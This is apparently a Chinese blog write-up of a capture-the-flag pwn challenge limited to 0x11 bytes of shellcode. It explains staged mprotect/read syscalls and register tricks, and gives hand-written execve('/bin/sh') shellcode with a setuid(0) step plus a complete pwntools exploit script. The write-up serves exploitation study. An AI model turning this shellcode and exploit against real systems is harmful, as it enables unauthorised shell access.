Kokodayo-Wp

前几天无意间看到有师傅在询问最短的shellcode的长度是多少,询问之后发现是这个题目只允许写入0x11字节的shellcode,正好本人汇编水平非常的拉,所以想借这题练习练习。

打开虚拟机发现保护全开,是64位的,拖进IDA反汇编后查看伪代码,在如下图中的位置:

可以发现,程序使用mmap开辟了空间,并向该内存读入了0x11个字节,并且使用mprotect来修改该区域的权限,讲一下mprotect函数,函数原型为int mprotect(const void *start, size_t len, int prot);,

该函数有三个参数,分别为:

  • 要修改的内存地址 ==> start
  • 要修改的内存大小 ==> len
  • 以及赋予多大的权限 ==> prot

也就是说,mprotect是把从addr开始的长度为length的内存空间的保护属性修改为prot的值。需要注意的是mprotect修改权限时,是以一个内存页为最小单位的,也就是说,如果写入的长度没有达到一个内存页的大小(0x1000),mprotect认为修改一整个页的权限。

我先去尝试了一下,写了一个shellcode看了下,有0x17个字节,即使经过师傅的指点后,这题只有rsi只有低32位有值,可以用esi,会少一个字节,对比如下:

但还是超出了0x11字节,于是思考是否有其他方法可以对0x11进行扩展,把他变大,但是由于该题mprotect时,第三个参数prot为5,所以只有rx,也就是读取和执行权限,没有写入的权限(这里不懂的可以搜一下Linux下权限相关的文章看看),所以,为了后续能把可写的内存变大,需要先对这片内存赋予可写的权限,这题直接使用mprotect扩展即可,mprotect所对应的系统调用号可以在/usr/include/x86_64-linux-gnu/asm/unistd_64.h中所找到。

这里还有一个小知识,也是看到了其他师傅的文章之后才知道的,在gcc编译时,当call一个系统函数时,通常还会call一个寄存器,这题call我们写入的shellcode时,call了rdx寄存器,所以rdx里存的,就是我们写入的shellcode的地址。

在膜拜大佬的WP的同时,我也学习到了一个对这题至关重要的知识:当执行完syscall之后,程序会从内核态快速返回用户态,rcx的值会被置为rip的值,这也导致了第四个参数被存放在了r10寄存器中。

那么当我们赋予了内存写入的权限之后,来看看各个寄存器的值,rcx的值为rip,rax此时为0,那么我们如果要在该内存写入,只需要写入read的shellcode:

1
2
3
mov esi,ecx
xor edi,edi
syscall

这时,我们就可以向rip读入0xf个字节,那么此时,我们再次读入read的shellcode:

1
2
3
mov al,0
xchg r11,rdx
syscall

现在我们就已经把空间申请的非常大了,可以直接读入shellcraft.sh()生成的shellcode都没问题,但是由于开局我选了一次第一个选项,他嘲讽我,所以这题shellcode是自己写的:

1
2
3
4
5
6
7
8
9
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 59
pop rax
syscall

听说比赛中这题执行完以后权限不够,读不了flag,可以使用105号系统调用setuid来防止自动降权。

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from capstone import *
io=process('./kokodayo')
elf=ELF('./kokodayo')
context.arch='amd64'
#context.log_level='debug'

io.recvuntil('2. I write it myself!\n')
io.sendline('2')

#io.recvuntil('I allow you write 0x11 bytes shellcode!\n')

shellcode0 = asm('''
mov edi,edx
push 0xf
pop rdx
mov esi,edx
mov al,10
syscall
xor edi,edi
xchg ecx,esi
syscall
''')



shellcode1 = asm('''
nop\nnop\nnop\nnop\nnop\nnop\nnop\n
mov al,0
xchg r11,rdx
syscall
''')

my_execve=asm('''
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 59
pop rax
syscall
''')

shellcode3 = asm('''
nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n
mov rax,105
xor rdi,rdi
syscall
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 59
pop rax
syscall
''')


md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(shellcode3, 0x00):
success("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

io.sendafter(b'pwn me',shellcode0)

#gdb.attach(io)
#pause()

io.send(shellcode1)

gdb.attach(io)
pause()

io.send(shellcode3)

#gdb.attach(io,"b setuid")
#pause()

io.interactive()

运行后成功获得权限:

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2023 h1J4cker
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信